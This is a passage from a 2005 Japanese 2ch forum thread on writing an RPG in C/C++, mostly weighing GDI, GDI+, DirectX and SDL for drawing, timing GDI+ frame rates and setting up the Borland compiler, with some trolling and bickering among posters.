そのうち慣れれば旨く書けるようになるだろ。頑張れ。
500デフォルトの名無しさん:2005/06/05(日) 20:58:13
>>493
俺はWINVERとか常に書くべきだと思う。
GDI+使っているのに、ってのはたしかにその通りだが。
501デフォルトの名無しさん:2005/06/05(日) 21:21:59
むしろプロジェクトの設定、メイクファイルとかに
502GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 21:39:28
Re:>>492 本当のきちがいを消してからにしてくれ。
503デフォルトの名無しさん:2005/06/05(日) 21:45:00
変わったタイプの荒らしだな
504デフォルトの名無しさん:2005/06/05(日) 22:20:18
GreatFixerのアク禁を心からキボンヌ
505デフォルトのたぬきさん:2005/06/05(日) 22:47:57
>>498
ヌォ!
アナタ、ネ申ですか?

内側のループが.topだったのか。
でも良く動いたナァ。

WM_PAINTの所も頂ける様にした。
コレでやっとRPGの移動禁止コードが組める。

このスレ、なにやらネ申っぽいプログラマーが
2〜3人 住み着いてる様子。

キチガイが居なけりゃ ネ申スレ かも知れない。
506デフォルトの名無しさん:2005/06/05(日) 23:22:07
専用ブラウザであぼんしなよー。
"工作員" "人の脳" "荒" "Re:>>"
あとは名前とかトリップ。
507デフォルトの名無しさん:2005/06/05(日) 23:48:01
>>502
見たものに反射的に反応しているようだが、それじゃ話は収束しない。
ともすれば、君が変な発言を誘発させられることさえある。
ないようを熟孝するように、一線引いてみてから発言してほしい。君のためにもナー。

Dice 3d6 

hello i am dice program
result is 3
goodbye;)
508デフォルトの名無しさん:2005/06/06(月) 07:20:22
今、数学痛手はどんな扱いを受けているのだろう。
わざわざ見に行くのマンドクセから誰かレポートしてくれ。
509GreatFixer ◆ASWqyCy.nQ :2005/06/06(月) 17:54:30
Re:>>504,>>506 そこまでいうのなら人の脳を読む能力を悪用する奴の頭を叩き割ってくれ。そうすれば世の中にある問題の解決になるはずだ。
510デフォルトの名無しさん:2005/06/06(月) 17:58:55
>>509
あんた、プログラムできるんだったら、
たまにはプログラムに関係のある話をしてくれ
511デフォルトの名無しさん:2005/06/06(月) 18:46:08
>>509
今、そいつの頭を叩き割った。

だから大人しくしろ。
512デフォルトの名無しさん:2005/06/06(月) 18:55:49
(゚∀゚)おぉ、こんなスレがあった…

_| ̄|○ のかぁ…
513デフォルトの名無しさん:2005/06/06(月) 19:20:15
>>510
The boolean value of the conditional is false, unfortunately.
514デフォルトの名無しさん:2005/06/08(水) 10:10:59
スレストされたと聞いて駆けつけますた
515デフォルトの名無しさん:2005/06/08(水) 14:39:35
お、じゃあテスト!
516デフォルトの名無しさん:2005/06/08(水) 20:14:47
     ___
    /     \     ________
   /   ∧ ∧ \  /
  |     ・ ・   | < 氏ねよおめーら
  |     )●(  |  \________
  \     ー   ノ
    \____/
517デフォルトの名無しさん:2005/06/08(水) 20:21:43
いきなり氏ねって、どういう事ですか?君には社会の常識がないのですか?
普通は、『あのう、すいませんけれども氏んでくれませんか?』とか
『あなたはには、氏ぬという選択肢もありますよ』とか言うものですよ、
あなたみたいに最初から喧嘩腰だと、
言われた方は『じゃぁ氏んでみようかな』とかいう気持ちがなくなるものです。
まずは、親切丁寧に人に氏んでと頼むべきだと思いますよ。
そこから、人の輪と協調が生まれ、『よーし氏んでみるか』とか
という気持ちが生まれるわけです。
518デフォルトの名無しさん:2005/06/09(木) 07:02:05
519デフォルトの名無しさん:2005/06/09(木) 10:55:49
てか、アレだぜ。
嵐には放置!!ッ徹底しましょ。

で、話題振りとして
基本的に、みんなグラフィック周りどうしてる?
最初の内は、適当でもいいけどそのうち自作?
520デフォルトの名無しさん:2005/06/09(木) 12:44:59
適当と自作の違いがわからへん。
521デフォルトの名無しさん:2005/06/09(木) 12:50:35
SDL
522デフォルトの名無しさん:2005/06/09(木) 16:48:19
GDI
523デフォルトの名無しさん:2005/06/09(木) 16:50:56
DirectXのSprite
524デフォルトの名無しさん:2005/06/09(木) 22:18:42
>>519 が話題 振ったので age
525デフォルトの名無しさん:2005/06/09(木) 22:44:40
Cを設定するところからすでにつっかかった・・・
設定ムズイ・・・
526デフォルトの名無しさん:2005/06/10(金) 18:15:06
ttp://www.borland.co.jp/cppbuilder/freecompiler/

ここでフリーのコンパイラを手に入れインストール。

ttp://www.vector.co.jp/soft/win95/prog/se149182.html

んで、このソフトで環境設定。自動でしてくれるから簡単ですよ。
527デフォルトの名無しさん:2005/06/10(金) 18:28:48
XPか2000ならVCTKですぐ使えるのに
528GreatFixer ◆ASWqyCy.nQ :2005/06/10(金) 20:30:03
Re:>>526 環境設定はborlandが付けてくれる説明書を読めばできるんじゃないの?
529デフォルトの名無しさん:2005/06/10(金) 22:30:07
>>528
そんな簡単なこともできないのにプログラミングを始めようとする馬鹿が多いんだよ。
530デフォルトの名無しさん:2005/06/10(金) 22:48:01
千里の道も一歩から


531デフォルトの名無しさん:2005/06/10(金) 22:48:25
orz
532デフォルトの名無しさん:2005/06/10(金) 22:51:42
ぶっちゃけ設定で詰まるってのはPCの初歩的な知識か、検索能力が著しく不足しているからプログラミング以前の問題
533デフォルトの名無しさん:2005/06/10(金) 22:56:09
この世界の上の人達って初心者をはなっから馬鹿に
してる感があってそこがやだ。
風潮ってやつ?悲しくなるよ。
534デフォルトの名無しさん:2005/06/10(金) 22:58:44
技術は一人前でも心は半人前っていうか。
535デフォルトの名無しさん:2005/06/10(金) 23:00:24
コンパイラの設定すら出来ないのは初心者以前だよ馬鹿wwwww
536デフォルトの名無しさん:2005/06/10(金) 23:39:52
コンソール触ったことなければ仕方ないと思うが。
537デフォルトの名無しさん:2005/06/10(金) 23:43:22
なのにコンソールを学ぼうとしないでコンソールプログラムを使おうとするのが問題。
538デフォルトの名無しさん:2005/06/10(金) 23:57:43
まあ今じゃゲームの中にチュートリアルが組んであるような世の中だからな
539デフォルトの名無しさん:2005/06/11(土) 05:28:53
普通はコンパイラの導入方法なんざ、わからんだろ。
検索しても、初めて聞くような言葉ばっかだし。
そんなボロクソに言うほどのことか?
540デフォルトの名無しさん:2005/06/11(土) 11:04:11
>>539
その辺にしか、自分のアンディティを確保できないのが吠えてるだけだから気にスンナ。
どうせ、プログラムの方もたいしたもんも出来んくせに、
「仕様が元々悪い。期限が短すぎ、上司が悪い。部下が悪い。」
と口だけ一人前のやつなんだからさ。
541デフォルトの名無しさん:2005/06/11(土) 12:40:34
>>537
むしろコンソールの意味もわからなうぐらいだったりして
542デフォルトの名無しさん:2005/06/11(土) 13:35:09
>>539は漫画を読んだりテレビを見るとき、初めて聞くような言葉があったら人に聞くのかね(^∀^)
543デフォルトの名無しさん:2005/06/11(土) 14:59:13
おれコンソールって言葉を知らずにしばらくCやってたけど
544GreatFixer ◆ASWqyCy.nQ :2005/06/11(土) 22:31:03
説明書を少しも読めない人にはアプリを使う資格無し。
とりあえず言うべきことはこれだけかな?
545デフォルトの名無しさん:2005/06/11(土) 22:35:40
みんな厳しいなあ
546デフォルトの名無しさん:2005/06/11(土) 22:44:18
>>544
空気も読めないで人の脳を読む能力とか喚いてた奴に言われたくないな
547デフォルトの名無しさん:2005/06/11(土) 22:55:52
説明書を読めない奴は人の脳を読むことなんて出来ない、とか言いそうだw
548デフォルトの名無しさん:2005/06/12(日) 00:38:15
コンパイラの設定が難しいとか言う奴は

・パスや環境変数の概念・意味がよく分からない(Windowsからパソコンはじめた)
・調べることをしない
・そもそも自分でなんとかしようとは思わない
・知らないことは他人に聞けば優しく答えてくれると思っている

のお坊ちゃまなんだろうな。
 
549デフォルトの名無しさん:2005/06/12(日) 01:49:04
と、びんぼっちゃまが歯軋りしながら書き込んでます
550デフォルトの名無しさん:2005/06/12(日) 02:05:16
びんぼっちゃまw
そもそもBCC以外のほとんどのコンパイラじゃ使用前の設定なんてインストール以外に必要無いってのw
金が無いから無料のBCCを使おうとして躓いちゃってるびんぼっちゃまは誰ですかねw
551デフォルトの名無しさん:2005/06/12(日) 03:03:02
     ___
    /     \     ________
   /   ∧ ∧ \  /
  |     ・ ・   | < スレ違いだっつの 氏ねよおめーら
  |     )●(  |  \________
  \     ー   ノ
    \____/
552デフォルトの名無しさん:2005/06/12(日) 10:57:54
・パスとか今まで触ったことがないから「分からない」派
・調べることをしないから「分からない」派
話が噛み合ってない。

WordとかPhotoshopとかばかりいじっていた人が、すんなりJavacやBCCをインストールしちゃったら恐いよw
553デフォルトの名無しさん:2005/06/12(日) 11:03:29

(。´д)ヒソヒソ(д`。)
554デフォルトの名無しさん:2005/06/12(日) 11:20:57
>>550
> びんぼっちゃまは誰ですかねw
あなたです ;-)
555デフォルトの名無しさん:2005/06/12(日) 11:39:42
>>522
とりあえずチュートリアル見たら、サクサク逝けるわな
556デフォルトの名無しさん:2005/06/12(日) 11:40:14
>>555
アンカーミス
>>552に脳内訂正よろ
557デフォルトの名無しさん:2005/06/12(日) 12:18:45
>>552


(。´д)ヒソヒソ(д`。)
558デフォルトの名無しさん:2005/06/12(日) 12:20:02
もう良いだろ、完全にスレ違いになってる。
っつうか、BCCっつってもコンソールを使わずにインストールも開発もできる時代なのに、
インストールすらできない馬鹿が一番悪い。
このスレに逝けよびんぼっちゃまw

タダで使えるBorland C++ Part4
http://pc8.2ch.net/test/read.cgi/tech/1091066805/
559デフォルトの名無しさん:2005/06/12(日) 12:39:49
>>558
>っつうか、BCCっつってもコンソールを使わずにインストールも開発もできる時代なのに、
>インストールすらできない馬鹿が一番悪い。
>このスレに逝けよびんぼっちゃまw

っつつうか、「商用の BCC は IDE 環境がある」ってことすら
知らない奴にびんぼっちゃまと言われてもな・・・
560デフォルトの名無しさん:2005/06/12(日) 12:58:02
さて、質問者は、いまどこへ・・
561デフォルトの名無しさん:2005/06/12(日) 13:04:21
>>559
商用のBCCはBDB(BorlandC++Builder)って言う事を知らない奴に言われてもな…
つうか無料のBCCでもIDE環境は無料で幾らでもあるし…
562デフォルトの名無しさん:2005/06/12(日) 13:06:01
商用のBCCはBorland C++じゃなかったか。
563デフォルトの名無しさん:2005/06/12(日) 13:07:10
前半分しか服が無い奴の精一杯の反撃だ。
生温かく見守ってやろう。
564デフォルトの名無しさん:2005/06/12(日) 13:08:11
>>562
そもそもBCCがBorland C++ Compilerの略だから。
565デフォルトの名無しさん:2005/06/12(日) 13:14:18
商用のBCCなんて現在無いだろ。
商用なのはIDEやライブラリであって。

っつうか、C++BuilderXなら無料でIDEも付いてくるし。
>>559はそれすら知らないんだろうな。
566デフォルトの名無しさん:2005/06/12(日) 14:08:44


  お  前  ら  い  い  加  減  に  し  ろ
567デフォルトの名無しさん:2005/06/12(日) 14:40:41
意気込みの違いもあると思うぜ。俺はそうだった。
ちょっとかじってみるか程度のやる気じゃ、
とことん調べようっていう気は起きなかったな。
今は違うけどな。
568デフォルトの名無しさん:2005/06/12(日) 14:50:01
誰か、制作途中経過を晒せるヤツはいないのか?
569デフォルトの名無しさん:2005/06/12(日) 14:59:56
いたとしてこんなとこに晒せると思うか?
570デフォルトの名無しさん:2005/06/12(日) 15:06:17
ちょっと前まで、けっこう良スレだったじゃないか。
571デフォルトの名無しさん:2005/06/12(日) 15:51:36
>>568
・元祖「Wizardry」風3Dダンジョン。
・迷宮を自動生成。レベルうpしてさらなる地下へ。
・DOS窓でも Unix/Linux のダム端末でも遊べる。
とゆーのを構想して途中(迷宮の生成と3D表示)まで書いたけど
なかなか仕上げる時間が取れない(今日も無理ぽ)・・・。
572デフォルトの名無しさん:2005/06/12(日) 16:20:59
>>571
ここで、晒すのはやめといた方がいい。
正直、別にもっといい場所があるのだから。
(ココで、どこがいいかは案内先が荒らされるので提示は出来ないが)
573デフォルトの名無しさん:2005/06/12(日) 16:47:27
チキンばっかだなw
そんなんだからスキル無えんだよお前らはwww
574デフォルトの名無しさん:2005/06/12(日) 16:54:11
>>572
いや、晒すならここで晒すよ。前回、意外と好評で嬉しかったし。
575デフォルトの名無しさん:2005/06/12(日) 17:01:20
>>574
(・∀・)作ってミターヨ さんですか?
576デフォルトの名無しさん:2005/06/12(日) 17:04:14
>>574
このままだと、荒廃するので晒すのキボン。
577デフォルトの名無しさん:2005/06/12(日) 17:10:46
>>575 です。
>>576 らじゃ!乞うご期待。
578デフォルトの名無しさん:2005/06/12(日) 17:27:22
今週末発売のCマガ買え
579デフォルトの名無しさん:2005/06/12(日) 18:05:19
オイラもこのスレ利用しようと思ってる。
もうちょっと待ってくれ。
580デフォルトの名無しさん:2005/06/12(日) 21:22:52
ちょっと聞きたいんだがAVALON(beta)ってwindows2000でも使える?
普通にGDIで作ってもスレが盛り上がらないだろうから何か変わったもの探してるんだが
581デフォルトの名無しさん:2005/06/12(日) 21:24:21
普通にGDIのほうが盛り上がる気がする。
582デフォルトの名無しさん:2005/06/12(日) 21:37:23
GDI+はどう?
583デフォルトのたぬきさん:2005/06/12(日) 23:37:30
やっとこさ、活気が出てきたみたい。

SDLを使うにも設定の仕方がワカラン、メンドクセェ。
って輩に朗報。


[ SDLで開発用テンプレートプロジェクト(VC++.net) ]
http://himatanuki.hp.infoseek.co.jp/rpg/sdl-template.zip

VC++.netなら面倒な設定イラズでそのまま使える。
BCCでも逝けるハズ。


[ C/C++言語でRPGを作ってみるスレ 専用板 ]
http://himatanuki.hp.infoseek.co.jp/cgi-bin/patio/patio.cgi

開発同志キボンヌ。
詳細はリンク先に書いてある。

584デフォルトの名無しさん:2005/06/12(日) 23:56:38
とりあえずDelphiインスコしてきた
585デフォルトの名無しさん:2005/06/13(月) 00:02:25
>>584
バイバイノシ
586デフォルトの名無しさん:2005/06/13(月) 00:27:17
このスレDelphiはダメなのかよ
587デフォルトの名無しさん:2005/06/13(月) 00:29:17
>>586
スレタイも読めないのかクズ
588デフォルトの名無しさん:2005/06/13(月) 11:59:10
>>587
そこまで言うのかよ。
まぁ、正直板違い気味のスレッドで、タイトルも読めない奴は十分"アレ"だとは思うけど。
589デフォルトの名無しさん:2005/06/13(月) 12:01:09
>>584-587
ワロタ
590デフォルトの名無しさん:2005/06/14(火) 22:08:04
なんでいつも話しが逸れるのだろう?

>>571, >>574, >>583
この辺りの人達に期待age
591デフォルトの名無しさん:2005/06/14(火) 23:45:50
http://gamdev.org/w/?%5B%5BFF%C9%F7RPG%A4%F2%BA%EE%A4%EC%5D%5D

このサイトみたいにRPGプログラミングの手順を書いてるところない?
592デフォルトの名無しさん:2005/06/15(水) 00:11:09
>>591
昔、Hotate's Core見て勉強してた。
勉強中サイトが消えて、むしろ見ないほうが(ry
593デフォルトの名無しさん:2005/06/15(水) 02:49:55
まーだー?
594デフォルトの名無しさん:2005/06/15(水) 22:26:18
595デフォルトの名無しさん:2005/06/16(木) 01:04:57
>>591
RPGってこれだけで完成すんの?
596デフォルトの名無しさん:2005/06/16(木) 07:12:50
>>591のレベル2まで作った
DirectXってPNGの読み込みや透過まで自動でやってくれて便利でつね
597GreatFixer ◆ASWqyCy.nQ :2005/06/16(木) 20:49:28
Re:>>546 だったら少しぐらいは協力してください。
598デフォルトの名無しさん:2005/06/16(木) 20:51:02
597 あぼ〜ん あぼ〜ん あぼ〜ん

あぼ〜ん
599デフォルトの名無しさん:2005/06/16(木) 21:23:41
おまwwwwwww作った奴がでてきても無視かよwwwwwww
600デフォルトの名無しさん:2005/06/16(木) 22:41:00
     ___
    /     \     ________
   /   ∧ ∧ \  /
  |     ・ ・   | < 俺様が600ゲットだ 氏ねよおめーら
  |     )●(  |  \________
  \     ー   ノ
    \____/
601デフォルトの名無しさん:2005/06/16(木) 22:52:40
>>597が協力して欲しいんだってよ(>>546
602デフォルトの名無しさん:2005/06/17(金) 00:07:00
なんでこんなに荒れてんの?
603デフォルトの名無しさん:2005/06/17(金) 00:22:56
>>602
別に荒れてないよ。お花畑が一人さえずってるだけ。生暖かくスルー汁。
604デフォルトの名無しさん:2005/06/17(金) 08:39:16
>>599
誰の話?
605デフォルトの名無しさん:2005/06/17(金) 09:50:18
オレオレ
606デフォルトのたぬきさん:2005/06/18(土) 00:27:46

[C/C++言語でRPGを作ってみるスレ - 専用サイト]
http://himatanuki.hp.infoseek.co.jp/

専用サイトを作ってみた。
コレでみんな元気出すべし。


寝る。
607デフォルトの名無しさん:2005/06/19(日) 00:11:13
俺は仕事で忙しいがつくってみたーよとたぬきには頑張れと言っておく。
608デフォルトの名無しさん:2005/06/19(日) 02:34:25
>>606
なんでGDI+なのよ。十分なFPSは出るんですか。
609デフォルトの名無しさん:2005/06/19(日) 04:51:21
2Dなら出るだろ。
610デフォルトの名無しさん:2005/06/19(日) 08:05:29
>>606
素晴らしい。GJ!
611デフォルトのたぬきさん:2005/06/19(日) 10:47:40
>>608
出るでしょ、と無責任ながら言ってみる。

>>607, >>610
ありがd


それよか、(・∀・)作ってミターヨ、居るの?
612デフォルトの名無しさん:2005/06/19(日) 12:19:05
>>606
作った以上、みんなを引っ張っていけよ。
613デフォルトの名無しさん:2005/06/19(日) 13:34:47
>>611
イルーヨ
614デフォルトのたぬきさん:2005/06/19(日) 15:02:19
>>612
期待に副えるようにガンガル。

>>613
イターヨ

途中経過晒すんだったら、連絡求む。
615608:2005/06/19(日) 15:08:04
>>614
100×100の画像を、
ColorMatrixで画像をモノクロにする処理をおこなったら、
10FPSくらいしかでなかった。
ColorMatrixが重いだけかもしれんが。
参考程度にどうぞ。
616デフォルトのたぬきさん:2005/06/19(日) 15:35:06
>>615
ワザワザどうもです。
もし、他のモノでも10FPS辺りしか出なかったらヤヴァイ。

ちょっとプログラミング齧った程度の厨房だと、一人で開発するのはムリポ。
誰かタスケレ。

ところで、GDI+を日本語で解説してるサイト、知ってる?
もし、知っているなら教えて頂けると有り難い。
617デフォルトの名無しさん:2005/06/19(日) 15:41:27
GDI+って触ったことないが、
ただのモノクロ化で10fpsなんて、ありえないぞ。
それは、もともといくつから10に下がったんだ?

てゆか、普通のGDIでDIBいじって
ピクセルごりごりやれよ。
そっちなら間違いなく普通に速度出るって。
618デフォルトの名無しさん:2005/06/19(日) 15:45:37
>>617
もともとのFPSは忘れた…。スマソ。
ちなみに、画面サイズは640×480で、
・オフスクリーンを黒く塗りつぶす
・画像をモノクロ化
・オフスクリーンにモノクロ画像描画
・オフスクリーンを表示
を繰り返した結果です。

あと、GDI+はGDIの十倍くらい遅いみたい。
http://lamoo.s53.xrea.com/develop/gdiplus/gdiplus_blt.html
619デフォルトのたぬきさん:2005/06/19(日) 15:58:25
>>617-618
うーむ。
リンク先の実験結果を見ると、物凄い。

とりあえず、GDIについて調べて来る。
620デフォルトの名無しさん:2005/06/19(日) 16:27:52
>>614
んー、現状で晒すのはあんまりなんで
もーちょっと作ってからにするよ。
といっても時間が取れないんだけどねえ。
今日も職場からパピコ。
621デフォルトのたぬきさん:2005/06/19(日) 16:28:25
http://himatanuki.hp.infoseek.co.jp/debug.rar
△ とりあえず、GDI+のDrawImageを使ってFPSの実験。

10, 20, 30, 60FPSが試せる。

FPSの計測方法が分からないケド、
一応 CPU:1.8Ghz, Memory:256MB, WinXP SP2 で普通に動いた。

報告ヨロ。
622デフォルトの名無しさん:2005/06/19(日) 16:58:38
>>621
うーん、画像が一個だけの限定された状況じゃなくて、
100個くらい同時に表示するような環境作って試してみたほうがいいんじゃない?
623デフォルトのたぬきさん:2005/06/19(日) 17:28:35
>>622
言われてやっと気づく始末。

http://himatanuki.hp.infoseek.co.jp/debug.rar
△ 今度はキャラの数も変更可能。

自分の環境(>>621)だと、100人で限界。
2500人(50*50) だと、ちょっと遅くなる。

1, 100, 2500, 10000, 65536と、変更可能。
624デフォルトの名無しさん:2005/06/19(日) 17:53:09
動くけどチラついてこれじゃゲームに…
625デフォルトの名無しさん:2005/06/19(日) 18:24:01
そこでダブルバッファリングですよ
626デフォルトの名無しさん:2005/06/19(日) 19:18:34
ちと遅いような気もするが、
RPGならば、これぐらいでも可能かもね。

でも、GDI+がどういう描画方なのかはわからないのですが、
おそらく画面外の描画はしてないのでは?

となると、いっぱい出しても
それが画面外だと、
ちゃんと計測できない気が・・
627デフォルトの名無しさん:2005/06/19(日) 19:28:28
>>623
全然関係ないが、アーカイブはzipにしないか?
628デフォルトのたぬきさん:2005/06/19(日) 20:14:12
>>624-625
InvalidateRect使ってるからね。
BitBlt使えば、ちらつきのない画面が描画できると思う。

>>626
>おそらく画面外の描画はしてないのでは?
おそらく画面外の描画はしているのでは?

実際、65536人を選択すると 途轍もなく速度下がるし。

>>627
今度からzipにする。

http://himatanuki.hp.infoseek.co.jp/
△ 専用サイトに あぷろだ が現れた予感。


629デフォルトの名無しさん:2005/06/19(日) 20:35:44
>>628
>おそらく画面外の描画はしているのでは?
>実際、65536人を選択すると 途轍もなく速度下がるし。


今の描画方と、60000人を同じ位置に表示した描画方で、(全員画面内ってことね)
速度がだいたい同じなら、画面外も描画してるかと。

GDI+を知らない私なので、見当違いのことを言ってるかもしれません。
間違ってたらゴメンね。
630デフォルトの名無しさん:2005/06/19(日) 20:59:12
GDI+遅すぎるしGDIにしないか?
631デフォルトの名無しさん:2005/06/19(日) 21:00:57
むしろDirectdrawにしないか?
632デフォルトの名無しさん:2005/06/19(日) 21:18:27
3Dは敷居が高すぎる
DirectXで2DやるにしてもGDIの方が楽だと思うし
633デフォルトの名無しさん:2005/06/19(日) 21:39:25
>>630-631
そういうのは自分でやるときに使うようにする。

描画関係なんてどうでもいい。
634デフォルトの名無しさん:2005/06/19(日) 21:44:34
>>633の意味がわからない
635デフォルトの名無しさん:2005/06/19(日) 22:02:46
DirectXの敷居がたかいならSDLにしないか
636デフォルトの名無しさん:2005/06/19(日) 22:15:00
>>634
早い話がそんなことを言う前にお前らもRPG作ってみないか?
と、そういうことだな。たぶん。
637デフォルトの名無しさん:2005/06/19(日) 22:15:41
まとめサイト氏がGDI+でやりたいというなら、
それでいいのではないか。
いくらなんでも、30フレぐらいは出るでしょ。

とりあえず、誰かGDI+の解説サイトのアドレス貼ってくれ。
638デフォルトの名無しさん:2005/06/19(日) 22:25:27
618できしゅつだけど。
http://lamoo.s53.xrea.com/develop/gdiplus/gdiplus_blt.html
> GDI+とGDI::DDBを比較するならば、10倍どころではなく遅いようです。
> ちょっと古いマシンでは、GDI+で30fps出すのは不可能です。
> CachedBitmapをオフスクリーンで使用した場合でもDDBの速度にはかないません。
> 高速性が求められるならば、GDI+ではなくGDI(のDDB)を使用するべきでしょう。

不可能だってよ。
639デフォルトのたぬきさん:2005/06/19(日) 22:39:56
なんだか、このスレ スゴイ勢い。

>>637
別にGDI+で どうしてもやりたいって事ではないデス。
只、GDI+は使い易くて簡単だから 使ってるだけ。

ttp://www.kumei.ne.jp/c_lang/sdk4/sdk_336.htm
△ 正直、ココしか見たことない。

まとめサイト、閑古鳥が鳴いてて もうダメポ。
誰か、今までの経過をマトメてくれ。


# (・∀・)作ってミターヨ へ。
まとめサイトの更新ネタの為に ショボくてもイイから、
今作ってるブツを できれば まとめサイトの方にうpしてくれ。
640デフォルトの名無しさん:2005/06/19(日) 23:18:02
>>637
C#なら、Dobon.netとかあるんだけどねえ
641デフォルトの名無しさん:2005/06/20(月) 00:42:54
>>639
提案。
まとめサイトをWikiにすれば、みんな簡単に編集できて、
更新も活発に行われるようになると思います
642デフォルトの名無しさん:2005/06/20(月) 02:05:46
>>638に書いてある通り、やっぱりGDI+は遅いようだし、俺はGDIがいいと思う
643デフォルトの名無しさん:2005/06/20(月) 04:57:16
(´・ω・`).o○(このスレも方針が割れて崩壊するパターンになるかな)
644デフォルトの名無しさん:2005/06/20(月) 05:37:44
スレも読まずにそういう書き込みがあるのもパターンだなw
645デフォルトの名無しさん:2005/06/20(月) 05:42:07
読まないと書けないわけだが
池沼か
646デフォルトの名無しさん:2005/06/20(月) 06:16:09
書けてない
647デフォルトの名無しさん:2005/06/20(月) 08:18:54
まとめwiki作ってきた

GamDevPukiWiki - C/C++言語でRPGを作ってみるスレ
http://gamdev.org/w/?%5B%5BC%2FC%2B%2B%B8%C0%B8%EC%A4%C7%A3%D2%A3%D0%A3%C7%A4%F2%BA%EE%A4%C3%A4%C6%A4%DF%A4%EB%A5%B9%A5%EC%5D%5D
648デフォルトの名無しさん:2005/06/20(月) 08:34:30
62の奴はCだと思うのだが
649デフォルトの名無しさん:2005/06/20(月) 08:38:23
>>639
えーと、うpするのはいいんだけど、
>>628>>647とどっちにうpするのがいいのかな?
650デフォルトの名無しさん:2005/06/20(月) 08:43:26
>>649
両方からリンクされてるロダはここ
http://gamdev.org/up/
651デフォルトの名無しさん:2005/06/20(月) 16:16:04
まったりいこうや
652デフォルトの名無しさん:2005/06/20(月) 23:10:39
GDI+ってなんかバグが無かったっけ?
653デフォルトの名無しさん:2005/06/20(月) 23:14:56
もう直ってる
654デフォルトのたぬきさん:2005/06/20(月) 23:49:18
>>647


>>649
できれば、まとめサイトの あぷろだ にうpしてくれる?
あぷろだ 設置した意味がなくなっちゃうからね。


ナンデモいいから手伝ってくれる輩、居る?
一人だと、辛い。
655デフォルトの名無しさん:2005/06/21(火) 06:23:19
[教えて!goo] 定職になかなか就かない弟・・・
http://oshiete1.goo.ne.jp/kotaeru.php3?q=821656

ところが最近、弟は「自分はコンピュータ言語を勉強する。」と言い出したのです。
そしてここ3ヶ月ほどC語とかビジュアル++やじゃば(私はパソコンには詳しくないのでよくわかりません)
という本を読み漁っています。ひどい時には食事の時も横に置きながら読んでいます。

勝手にさせておけば良いという意見もあるかもしれませんが、私としても母としてもはやくちゃんとした定職に
就いてもらいたいのです。特に母親は心配しています。
656デフォルトの名無しさん:2005/06/21(火) 06:47:53
↑質問者にマ板見せたら気が狂うに4096PID
657デフォルトの名無しさん:2005/06/21(火) 07:01:04
これだけ熱心に勉強してる奴がこのスレに何人いることか・・・・
658デフォルトの名無しさん:2005/06/21(火) 10:48:47
RPG系(高度な幾何学系処理は不要で、ピクセル単位の画像処理とビット
マップの転送が中心)だとDIBSectionベースの描画システムが一番作り
やすくて環境にも依存しにくい気もするけど、まあ、いろいろ試してみ
る分には良いかもね。

ただ、配布を考えるとGDI+はちょっと辛いな。
659デフォルトの名無しさん:2005/06/21(火) 10:56:14
GDI+の配布上のデメリットってDLLファイルを1個添付することだけだと思うけど
つまり動的リンクするライブラリは望ましくないってこと?
660デフォルトの名無しさん:2005/06/21(火) 13:58:43
>>655
なんかそこ読んでると、プログラマやってる自分が
すげー偉い生き物に思えてくるから不思議だ。
661デフォルトの名無しさん:2005/06/22(水) 00:18:10
GDI+(gdiplus.dll)って再配布可能?
662デフォルトの名無しさん:2005/06/22(水) 18:01:55
>>661
再配布可能
663デフォルトの名無しさん:2005/06/22(水) 18:49:29
じゃあGDI+でも問題ないじゃん
664デフォルトの名無しさん:2005/06/22(水) 20:52:30
>>663
少なくとも最新の100レスくらいを読んだ上で言っているのか?
665デフォルトの名無しさん:2005/06/23(木) 02:49:29
>>655
一般的にはいわゆるウルトラハッカーを目指すから地味さに負けて挫折するんだと思うけどね。
入り方さえ間違わなければ知的好奇心を刺激する良い分野だとおもうんだけどなー。
しかも、独学でもtry&errerでそこそこのレベルまで持ってけるし。
趣味としては悪くないと思う。
666デフォルトの名無しさん:2005/06/23(木) 12:34:01
>try&errer

試して間違う人?
667デフォルトの名無しさん:2005/06/23(木) 13:15:04
それを言うなら trial and error だ。
668デフォルトの名無しさん:2005/06/23(木) 13:15:41
無理してアルファベットで書いて失敗するタイプかw
669デフォルトの名無しさん:2005/06/23(木) 14:35:48
試行錯誤でええねん。
670デフォルトの名無しさん:2005/06/23(木) 14:48:24
トライ&エラー の検索結果のうち 日本語のページ 約 171,000 件中 1 - 50 件目 (0.50 秒)

ひょっとして間違って広まった和製英語だったのか
トライアル&エラーなんて使ってる書籍みたことない
671デフォルトの名無しさん:2005/06/23(木) 15:03:15
そもそも
>try&errer
でさえ検索に引っ掛かるわけだが。
try&errer
10件
try&error
760件
trial&error
125件
トライアンドエラー
7070件
トライアルアンドエラー
1110件
try and errer
62件
try and error
94300件
trial and error
23200件
世界的に見ても、英語圏以外でtry and errorとしている例は多数。
try自体は動詞だからandを続けるのは非nativeということらしい。
672デフォルトの名無しさん:2005/06/23(木) 15:52:02
>>671
検索の仕方を間違ってるよ。熟語なんだから引用符でくくらないと。
"try and error" の検索結果 約 26,700 件
"trial and error" の検索結果 約 1,660,000 件
673665:2005/06/23(木) 19:05:03
trial and errorは、初めて聞いた。
goo辞書でもそう書いてあったのでちょっと衝撃!!
改めるよ。
674 ◆mCEJQ9Ki/Q :2005/06/23(木) 20:03:15
何か、2DRPGにしても3Dでマップ書いてキャラだけチップの奴にしたほうが
最近はライブラリとかも充実してるし楽かと思った。
675デフォルトのたぬきさん:2005/06/23(木) 20:29:09
>ナンデモいいから手伝ってくれる輩、居る?
>一人だと、辛い。
華麗にスルーされた。

鬱。


とりあえず、本当に誰か手伝ってクレ。
676デフォルトの名無しさん:2005/06/23(木) 21:04:48
ずいぶん他力本願だな。手の届く範囲でやればいいじゃないか。
問題があるなら具体的に晒せ。

だいたい「ナンデモいいから」「とりあえず」ってなんだ。
そんなあやふやな呼びかけで人が集まるわけない。
677デフォルトの名無しさん:2005/06/24(金) 12:46:29
「なんでもいい」だとか「とりあえず」だとか、手伝う人を馬鹿にしてる品。
678ユパ:2005/06/24(金) 13:16:13
またひとつ。。プロジェクトが滅んだか。。。
679デフォルトの名無しさん:2005/06/24(金) 13:43:38
>>64
今さらだけど楽しかった。
680デフォルトの名無しさん:2005/06/24(金) 15:52:41
行こう。ここもじきにdatから落ちる・・・。
681デフォルトの名無しさん:2005/06/24(金) 16:08:44
>>679
おお、ありがd。

早く次を作りたいんだけど全然時間が取れないよ・・・ orz
来週末には暇ができるかなあ。
682デフォルトの名無しさん:2005/06/24(金) 17:10:50
>>680
ナウシカ?
683デフォルトのたぬきさん:2005/06/24(金) 22:35:25
>>676-677
言い方が悪かった、謝る。

今、RPGのブロック(マス)目移動で躓いてる所。
アニメーションの方法が 全く分からない状態。

